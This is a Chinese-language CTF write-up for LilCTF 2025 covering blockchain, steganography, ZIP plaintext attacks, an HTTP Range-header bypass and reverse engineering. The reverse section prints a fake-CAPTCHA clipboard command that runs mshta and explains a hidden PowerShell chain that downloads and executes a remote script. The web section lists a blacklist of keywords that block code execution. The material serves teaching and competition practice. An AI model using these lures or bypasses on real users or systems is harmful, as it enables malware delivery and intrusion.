LilCTF 2025

LilCTF 2025
Aristoreblockchain
生蚝的宝藏
Challenge
出题:shenghuo2
难度:中等
传说中的 mega 生蚝,「世恩・G・赫奥・二」在被送上烧烤架之前说了一句话,让全世界的蚝都涌向了陆地。
『想要我的宝藏吗?如果想要的话,那就到地底下去找吧,我全部都放在那里。』
世界开始迎接 "牢 ran 时代" 的来临。
RPC: http://106.15.138.99:8545/
faucet: http://106.15.138.99:8080/
Solution
核心目标是与一个给定的智能合约进行交互,使其内部的 isSolved () 函数返回 true
选 1 创建题目账户
1 | Can you make the isSolved() function return true? |
先去 http://106.15.138.99:8080/ 领测试币,然后选 2 部署题目合约
1 | Can you make the isSolved() function return true? |
拿到合约地址(记为 TARGET_CONTRACT_ADDRESS)之后获取这个地址上的合约字节码
1 | curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getCode\",\"params\":[\"0x9cFcB21254Ca7bAbC5d8a254D86e3e2f2AA6a94F\", \"latest\"],\"id\":1}" -H "Content-Type: application/json" http://106.15.138.99:8545/ |
拿到字节码了,用 Online Solidity Decompiler 反汇编
合约内部存储了一份需要我们去匹配的秘密数据。通过分析,我们发现这份数据被存储为动态字节数组 (bytes),其存储逻辑遵循以下规则:
存储槽 0 (0x0): 这个位置并不直接存储数据,而是存储数据的长度编码
数据的真实位置: 真正的字节数据被存放在以 keccak256§ 为起始地址的连续存储槽中,其中 p 是该变量所在的存储槽编号。
数据长度: 通过读取存储槽 0x0 的值,我们发现其编码代表的长度是 46 字节。由于每个存储槽只能存放 32 字节,这意味着秘密数据跨越了两个连续的存储槽。
这两个哈希值是秘密数据在链上存储的精确地址,它们的计算方式如下:
计算第一个数据槽的地址 (slot0_hash):
规则: 动态数组的数据起始地址是其声明位置 p 的 Keccak-256 哈希值,即 keccak256§。
应用: 在本合约中,这个秘密的 bytes 数组位于存储的第 0 个槽位。因此,p 的值就是 0。
计算: 我们需要计算 0 的 32 字节(256 位)表示的哈希值。0 的 32 字节表示为:
0x00000000000000000000000000000000000000000000000000000000000000001
2
3
4
5
6from web3 import Web3
# 计算 32 字节 '0' 的哈希
slot_hash = Web3.keccak(hexstr="0x0000000000000000000000000000000000000000000000000000000000000000")
print(slot_hash.hex())
# 290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563结果: 运行上述命令,我们得到第一个数据槽的地址为 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
计算第二个数据槽的地址 (slot1_hash):
- 规则: Solidity 会将超长的数据连续存储在从起始地址开始递增的存储槽中。
- 应用: 我们的秘密数据有 46 字节,超过了单个存储槽 32 字节的容量。因此,前 32 字节存储在 slot0_hash 指向的位置,剩下的 14 字节存储在下一个位置。
- 计算: 下一个存储槽的地址就是前一个地址加一。我们可以直接对 slot0_hash 的十六进制整数值进行加法运算:
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 + 1 - 结果: 得到第二个数据槽的地址为 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564
合约的加密逻辑如下:
- 派生密钥 (Derived Key): 对字节码 0x0112 函数段的分析揭示了密钥的生成过程。合约首先取用一个 12 字节的原始值 0x35b2bcaf9a9b9b1c1b331ab3,然后将其向左位移 0xa1 (161) 位。这个位移操作的结果的低 256 位(32 字节)构成了一个全新的派生密钥
- 变换密钥 (Transformation Key): 进一步分析对输入数据进行处理的循环,我们发现,虽然派生密钥有 32 字节长,但合约在对我们的输入数据进行逐字节变换时,只循环使用了这个派生密钥的前 12 个字节。这 12 个字节才是真正与我们输入数据进行运算的变换密钥
合约的完整验证流程如下:
- 接收我们传入的 46 字节 input_payload
- 使用上述方法计算出的 12 字节 transformation_key
- 在合约内部,对我们的输入进行一次变换:transformed_payload = input_payload XOR transformation_key
- 计算 keccak256 (transformed_payload)
- 将计算结果与存储在链上的 keccak256 (secret_data) 进行比较
因此我们的任务就是构造一个 input_payload,使得它经过合约的 XOR 变换后,能够等于链上的 secret_data。根据 XOR 运算的特性,我们需要的正确输入为 input_payload = secret_data XOR transformation_key
解题之前要先创建一个全新的账户(记下地址为 MY_ACCOUNT_ADDRESS),获取测试币,然后导出该账户的私钥(记为 PRIVATE_KEY)备用
先到 Remix - Ethereum IDE 部署一个简单的代理合约来帮我们转发调用:
1 | // SPDX-License-Identifier: MIT |
记录下部署后的合约地址(记为 EXPLOIT_CONTRACT_ADDRESS)
然后回到本地创建攻击脚本
1 | from web3 import Web3 |
然后选 3 就能拿到 flag 了
1 | Can you make the isSolved() function return true? |
1 | LILCTF{Who_11ve$_lN_4_$Ea5Hel1_UNd3r_TH3_sE@?} |
misc
是谁没有阅读参赛须知?
1 | LILCTF{Me4n1ngFu1_w0rDs} |
提前放出附件
Challenge
出题:C3ngH
难度:简单
还记得 25 年 3 月 13 日的那个晚上,Misc 手们都在干嘛吗
Solution
在 IBM 官网的 tar - Format of tar archives - IBM Documentation 这个文档中提到了 tar 压缩包的格式
tar 压缩包文件的前 512 字节结构是固定的,其中前 100 字节为 name
字段,用于存储压缩包内的文件的文件名,超出的部分用 0
填充
合理猜测压缩包内的文件名是 flag.txt
,将其换成十六进制则是 666c61672e747874
,名字占了 8 字节,后面的 92 字节分别用 00
填充
就这样构造出文件头 666c61672e7478740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
使用明文攻击:
1 | bkcrack -C 150008_misc-public-ahead.zip -c flag.tar -x 0 666c61672e7478740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 |
输出
1 | bkcrack 1.7.1 - 2024-12-21 |
用得到的 Keys 解压:
1 | bkcrack -C 150008_misc-public-ahead.zip -c flag.tar -k 945815e7 4e7a2163 e46b8f88 -d flag.tar |
然后把 flag.tar
解压缩即可得到 flag
1 | LILCTF{Z1pCRyp70_1s_n0t_5ecur3} |
PNG Master
Challenge
出题:YanHuoLG
难度:简单
提到隐写,你能想到哪些常见的隐写方式呢?不过我相信 misc 手的脑洞一定能想到某个基于最低有效位实现的隐写方法吧?哦对了,我可不认为扩展名也是文件名的一部分。(比 C3ngH 简单)
Solution
文件尾有后接文本隐写:6K6p5L2g6Zq+6L+H55qE5LqL5oOF77yM5pyJ5LiA5aSp77yM5L2g5LiA5a6a5Lya56yR552A6K+05Ye65p2lZmxhZzE6NGM0OTRjNDM1NDQ2N2I=
解码得到 让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b
LSB 隐写,分别勾选 RGB 的最低位,使用 行优先 + LSB 优先 + RGB 顺序 来组织数据:5Zyo5oiR5Lus5b+D6YeM77yM5pyJ5LiA5Z2X5Zyw5pa55piv5peg5rOV6ZSB5L2P55qE77yM6YKj5Z2X5Zyw5pa55Y+r5YGa5biM5pybZmxhZzI6NTkzMDc1NWYzNDcyMzM1ZjRk
解码得到 在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d
发现图片的最后一个 IDAT 块长度为 270,存在隐写,提取出来用 zlib 解压得到压缩包:
1 | 504b03040a0000000000c17c0d5b523047ee20000000200000000a0000007365637265742e62696e15090215564e455454415643455054405012455c551750124655571751434401504b03041400000008001b7d0d5bf86700b55f000000c30000000800000068696e742e7478745d4d310a80300cfc7a1d9cac82889b0f7088a083a228f897d0884efd82b1a5b114c271b9dc5daeb6bee7ca6cc59335f6d0a84a54daee272a60229cc689ba9ef2c5ac83f30063205fcad9fe2c234fecf457e98c57df204f135dda123d28f002504b01023f000a0000000000c17c0d5b523047ee20000000200000000a00240000000000000020000000000000007365637265742e62696e0a00200000000000010018005dd33d32250cdc0100000000000000000000000000000000504b01023f001400000008001b7d0d5bf86700b55f000000c300000008002400000000000000200000004800000068696e742e7478740a0020000000000001001800c1eb7a98250cdc0100000000000000000000000000000000504b05060000000002000200b6000000cd0000000000 |
hint.txt
存在零宽字符隐写,使用在线工具 Unicode Steganography with Zero-Width Characters 提取:
得到提示 与文件名xor
根据提示异或得到 flag3:61733765725f696e5f504e477d
连起来就是:
1 | 4c494c4354467b5930755f3472335f4d61733765725f696e5f504e477d |
十六进制转字符得到 flag
1 | LILCTF{Y0u_4r3_Mas7er_in_PNG} |
v 我 50®MB
Challenge
出题:ZianTT, LilRan
难度:简单
在预热阶段,LilRan 发现他的定时备份数据量增加得比预期快,原来是有人上传了一张 50MB 超清无码(指不含二维码)蓝光(指蓝色的灯光)队伍头像!
LilRan 下载到该头像后,立即在他的电脑上转成了更小的 webp 格式,并更新了服务器数据库中的相关数据。但慌乱之中,LilRan 忘了把 webp 文件放到服务器上原来的路径,导致原本的头像还在,却显示不出来了……
虽然正常用户看上去这个头像无法显示,但是 ZianTT 告诉 LilRan,就算不在服务端做更多操作,他也完完整整地获得了原本 50MB 的队伍头像。
以上是故事。本题是一个对当时情况的仿制环境,题目中未使用 A1CTF 代码。题目中的 “头像” 为 flag 图片,大小约为 1MB。
Solution
启动环境后抓包拿到了头像的文件下载接口 http://challenge.xinshi.fun:47713/api/file/download/72ddc765-caf6-43e3-941e-eeddf924f-8df
直接访问该接口会返回一个被截断的大小为 10086 字节图片,题目明确了原始文件约 1MB,flag 隐藏在完整的图片文件中
因此我们的目标是绕过限制,获取完整的图片文件
经过一系列对 HTTP 协议不同特性的探测发现服务器存在一个独特的漏洞,当客户端发送一个包含特定 Range 头的 HTTP 请求时(例如 Range: bytes=2-)服务器的响应行为会发生异常:
- 跳过 HTTP 响应头: 服务器不会返回任何标准的 HTTP 响应头
- 直接发送裸数据流: 服务器会直接将所请求文件的原始二进制数据流发送到 TCP 连接上
- 遵循 Range 偏移: 数据流会从 Range 头指定的字节偏移处开始
这个漏洞的本质是一个特定的请求能够使服务器应用层完全绕过正常的 HTTP 响应构建流程,将文件内容直接发送给客户端
漏洞触发点是从第 2 个字节开始,这意味着我们会丢失文件最开始的 2 个字节,因此我们首先发送一个正常的 GET 请求获取并保存文件的前 2 个字节
- 构造恶意请求: 手动构建一个 http 请求报文,该报文包含能够触发上述漏洞的 Range: bytes=2 - 头,为避免被 waf 拦截用常见的浏览器 ua 头进行伪装
- 使用 TCP 套接字通信:
- 创建一个 socket 并直接连接到目标服务器的 IP 和端口
- 将构造好的恶意请求报文发送出去
- 循环接收所有服务器返回的数据,由于服务器直接发送裸数据流,我们接收到的就是从第 2 个字节开始的完整文件内容,直到服务器发送完毕并关闭连接
- 拼接还原文件: 将获取的文件的前 2 个字节与接收到的文件主体数据流拼接在一起就会得到一个包含完整 png 图片的二进制文件
1 | import socket |
得到的二进制文件用 binwalk 可以提取出下面这张图片
1 | LILCTF{i_DONt_kNow_8ut_@I_genERAtED_7hat_C#de} |
reverse
1’M no7 A rO6oT
Challenge
出题:LilRan
难度:简单
LilRan 在某个妙妙小网站看到了一种全新的按键「人机验证」方式。后面等待着他的竟然是……
Solution
点击后剪贴板出现如下内容
1 | powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:33284/Coloringoutomic_Host.mp3 http://challenge.xinshi.fun:33284/Coloringoutomic_Host.mp3 # ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086 |
把 Coloringoutomic_Host.mp3
下载下来看了下发现是一个能正常播放的 mp3 文件
运行 powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://127.0.0.1/
发现弹窗是 C:\Windows\System32\mshta.exe
,这说明下载下来的 mp3 文件中藏有恶意脚本,且脚本通过 mshta.exe 运行
既然这个二进制文件藏有脚本这就意味着脚本是以可见字符串出现在里面的,因此这里首先用 strings 命令看一下(下面仅保留与题目有关的内容)
1 | ┌──(kali㉿kali)-[~/Desktop] |
我们来逐段解读这个脚本:
<HTA:APPLICATION ...>
- 这是 HTA 文件的标志,它告诉 mshta.exe 这是一个 HTML Application
- showInTaskbar=“no”:不在任务栏显示图标
- windowState=“minimize”:窗口启动后立即最小化
- 这两个属性的目的是隐藏程序窗口,让用户察觉不到它的运行
<script>
window.resizeTo(0, 0); window.moveTo(-9999, -9999);
- 进一步隐藏窗口,将其大小设置为 0,并移动到屏幕外
- 变量定义
SK=102;UP=117;tV=110;...
这一长串都是在定义变量,每个变量名(SK, UP 等)都对应一个数字,这些数字其实是 ASCII 码- 例如:
SK=102 (f), UP=117 (u), tV=110 (n), Fx=99 (c), nI=116 (t), pV=105 (i), wt=111 (o)
连起来就是 function
String.fromCharCode(...)
- 这是核心部分,
String.fromCharCode
是一个 JavaScript 函数,它接收一串 ASCII 码,然后将它们转换成对应的字符,最后拼接成一个字符串 - 这里的代码
var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,...);
就是在利用前面定义好的变量,动态地在内存中构造出一段新的恶意代码并赋值给变量 SxhM
- 这是核心部分,
eval(SxhM);
eval()
函数会执行传入的字符串作为代码,所以这一步就是执行上面String.fromCharCode
构造出来的恶意代码
window.close();
- 执行完恶意代码后立即关闭 HTA 窗口
下面用 Python 脚本解混淆:
1 | # 1. 把所有变量定义复制到这里 |
用 Python 模拟这一过程
1 | def decode_string_fixed(number_list): |
这是一条经过精心构造的单行命令,下面我们把它拆开来看:
powershell.exe -w 1 -ep Unrestricted -nop
这些是启动 PowerShell 进程时附带的参数,目的是让它在特定模式下运行:
-w 1
:是 -WindowStyle Hidden 的缩写,表示在后台隐藏窗口运行-ep Unrestricted
:是 -ExecutionPolicy Unrestricted 的缩写,用于绕过系统默认的安全执行策略-nop
:是 -NoProfile 的缩写,表示不加载任何 PowerShell 配置文件
接下来是真正执行的核心命令:
$EFTE =([regex]::Matches('a5a9b...', '.{2}') | % { [char]([Convert]::ToByte($_.Value, 16) -bxor '204') }) -join '';
这部分负责解密一个隐藏的脚本,并将结果存入变量 $EFTE
中。
'a5a9b4...'
:这是一个非常长的十六进制字符串,也就是编码后的核心 payload[regex]::Matches(..., '.{2}')
:使用正则表达式将这个长字符串分割成由两个字符组成的小块数组(例如:‘a5’, ‘a9’, ‘b4’ 等),每一小块都代表一个字节| % { ... }
:这是一个管道符,它将前面分割好的每一小块,逐一传送到后面的ForEach-Object
循环(% 是它的别名)中进行处理,在循环中$_
代表当前正在处理的那一小块[Convert]::ToByte($_.Value, 16)
:将当前处理的字符串小块(如 ‘a5’)当作 16 进制数,并将其转换成一个字节-bxor '204'
:这是最关键的解密步骤,它对上一步得到的整数值和密钥 204(十六进制是 0xCC)进行 XOR 运算\[char](...)
:将 XOR 运算后的结果转换回对应的字符-join ''
:最后将所有解密出的字符拼接成一个完整的的脚本字符串并存入变量$EFTE
最后是执行部分:
& $EFTE.Substring(0,3) $EFTE.Substring(3)
&
:这是 PowerShell 中的调用操作符,用于执行一个命令$EFTE.Substring(0,3)
:获取解密后字符串$EFTE
的前 3 个字符$EFTE.Substring(3)
:获取从第 4 个字符开始的所有剩余部分- 这条命令实际上变成了 & “iex” “脚本的剩余部分”,这等同于执行 Invoke-Expression “脚本的剩余部分”,Invoke-Expression(别名 iex)能将一个字符串当作代码来执行
1 | def decode_powershell_payload(hex_string, xor_key): |
核心行为总结:这个脚本的最终目的,就是从 http://challenge.xinshi.fun:33284/bestudding.jpg 这个 URL 下载内容,然后把下载到的内容当作新的 PowerShell 脚本来执行,下面直接 curl 下载下来看看:
1 | curl http://challenge.xinshi.fun:33284/bestudding.jpg |
恶意代码的第一部分是 ('(' | % { ... })
。这是一个障眼法,它仅仅是为了执行花括号 {} 中的一系列命令一次。核心是这些命令如何给变量赋值。
我们来手动跟踪一下变量的值:
$r = + $()
:$()
创建一个空数组,+ 运算符会将其转换为整数 0,所以$r = 0
$u = $r
:$u = 0
$b = ++ $r
:$r
先自增变为 1,然后赋值给$b
。所以$b = 1
,$r = 1
$q = ( $r = $r + $b )
:$r = $r (1) + $b (1) = 2
,然后$q
被赋值为 2,所以$q = 2
,$r = 2
$z = ( $r = $r + $b )
:$r = $r (2) + $b (1) = 3
,然后$z
被赋值为 3,所以$z = 3
,$r = 3
- 以此类推…
我们最终可以得到所有数字变量的值:
$r
的最终值在这一阶段是 9。$u = 0
$b = 1
$q = 2
$z = 3
$o = 4
$d = 5
$h = 6
$e = 7
$i = 8
$x = ($q * $z) = 2 * 3 = 6
$l = 9
接下来是两个关键的字符串变量 $g
和 $r
的赋值:
$g = ...
: 它的结构是 “[…]”, 并且后面被用作$g$z$x
这样的形式,这强烈暗示它最终会变成字符串 “[char]”,用于将 ASCII 码转换为字符$r = ...
: 它的最终用途是| .$r
,即作为命令执行
结论:
- $g 的作用相当于 [char] 类型转换
- $r 的最终值是 IEX
整个命令的结构是:" $r ( ...长字符串... )" | .$r
将我们分析出的 $r 值代入,就得到:" IEX ( ...长字符串... )" | IEX
这是一种双重执行技巧,外层的 IEX 会执行管道传过来的字符串,即 "IEX (…)",这会再次调用 IEX 来执行括号内的内容
核心就在于括号里的长字符串。我们来看看它的构造方式:$g$z$x+$g$x$i+$g$b$u$b+...
根据我们对 $g
的推断,这实际上是在做:[char]($z$x) + [char]($x$i) + [char]($b$u$b) + ...
这里的 $z$x
是将变量 $z (3)
和 $x (6)
的值作为字符串拼接起来变成 “36”,然后转换为整数 36,最后通过 [char]
转换为对应的 ASCII 字符,chr (36) 就是 $
1 | import re |
在输出中找到 flag
1 | LILCTF{Be_vlgILant_AGalN5t_PHiSHlNG} |
Qt_Creator
Challenge
出题:晓梦 ovo
难度:简单
立志成为软件开发糕手!诶?我注册码是多少来着
ps : 本 exe 为安装包,请先安装程序再进行分析,注册码即为 flag
Solution
安装后在安装目录找到 demo_code_editor.exe
然后对其进行逆向
在程序入口点 WinMain 找到核心函数 sub_4015E0
分析 UI 初始化函数 sub_403400
程序调用 sub_40EE30
来创建一个对话框 (QDialog),并立即使用 exec () 以模态方式显示它
这意味着用户必须先处理这个对话框程序才能继续,因此这个对话框就是注册窗口,将焦点转向 sub_40EE30
1 | int __thiscall sub_40EE30(_DWORD *this, int a2) |
得到密文 KJKDSGzR6
bsd5s1q0t^wdsx
b1mw2oh4mu|`
connectSlotsByName 最终会调用到属于我们这个对话框类(Register)的某个成员函数。这些成员函数(特别是槽函数)的地址通常都记录在类的虚函数表(vtable)中
我们回到 sub_40EE30
的汇编代码开头,找到了初始化虚函数表指针的关键指令:
1 | .text:0040EE5B mov dword ptr [edi], offset off_42F394 |
这条指令告诉我们 off_42F394
就是该对话框类的虚函数表地址,双击 off_42F394
跳转到数据段,看到了一个由函数指针组成的列表
我们审查了虚函数表中的所有未命名函数,发现它们要么是析构函数 (sub_40FD00),要么是处理原生窗口事件的函数 (sub_410520),没有一个是符合我们预期的验证函数
这个发现一度让我们陷入困境,但它也带来了一个重要的结论:我们要找的槽函数不是一个虚函数,而是一个普通的成员函数。非虚成员函数不会出现在虚函数表中
那么一个非虚的槽函数是如何被信号触发的呢?答案就在 Qt 的核心机制 —— 元对象调用中
当一个信号被触发时,Qt 的元对象系统会查找对应的槽,并通过一个名为 qt_metacall
的特殊成员函数来调用它。
幸运的是,qt_metacall
本身是一个虚函数,所以它一定在虚函数表里
我们在虚函数表中找到了 sub_411430
,其内部逻辑和 qt_metacall
的标准实现完全吻合:
当有信号需要调用本类的槽函数时,程序会检查一个内部的方法索引 v3;当索引号为 0 或 1 时(对应 UI 上的两个按钮),程序会统一调用函数 sub_4113A0
sub_4113A0
的逻辑非常简单,它扮演了一个跳板的角色:
通过简单推断我们可以确定 sub_410100
就是验证函数:
1 | int __fastcall sub_410100(_DWORD *a1) |
程序将用户输入的内容与一个 “正确答案” 进行比较,而这个 “正确答案” 是通过调用 sub_40FFF0
函数对之前拼接好的硬编码字符串进行变换(加密)后得到的,因此 flag 就是 sub_40FFF0
函数的输出结果
最后我们分析加密函数 sub_40FFF0
:
函数实现了一个简单的替换加密算法:遍历输入字符串,将偶数位索引的字符 ASCII 码加 1,奇数位索引的字符 ASCII 码减 1
1 | cipher = "KJKDSGzR6`bsd5s1q`0t^wdsx`b1mw2oh4mu|" |
1 | LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt} |
Oh_My_Uboot
Challenge
出题:PangBai
难度:中等
Do you like uboot?
Solution
先把字符串全部丢给 AI 问问看有没有疑似密文的
然后发现了这一条:
1 | rodata:60875CB3 5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH; |
跳转到地址 0x60875CB3,然后对这个地址查找交叉引用
发现函数 sub_60813F74
引用了地址 0x60875CB3,跳转过去看看
找到加密函数 sub_60813E3C
这个函数对输入明文进行 XOR 0x72,接着将 XOR 后的结果视为一个大整数,并将其转换为 Base58 编码
不过这里的字符集是自定义的:
1 | 0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghi |
然后用厨子解就行 From Base58, XOR - CyberChef
1 | LILCTF{Ub007_1s_v3ry_ez} |
web
ez_bottle
Challenge
出题:0raN9e
难度:简单
能顺利帮瓶子回去嘛
Solution
这题的解法有点难绷,并非什么正经的解法
一开始是 2 群 有一位师傅提到了 bing 上面搜到了答案,因此尝试搜索代码中最具有特色的黑名单 ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals", "get", "open"]
一搜就发现了这个 Chat01(搜索引擎的爬虫有点离谱了)
跟着里面的记录做就解出来了
1 | LILCTF{bO77l3_hA$_8eEN_ReCycLed} |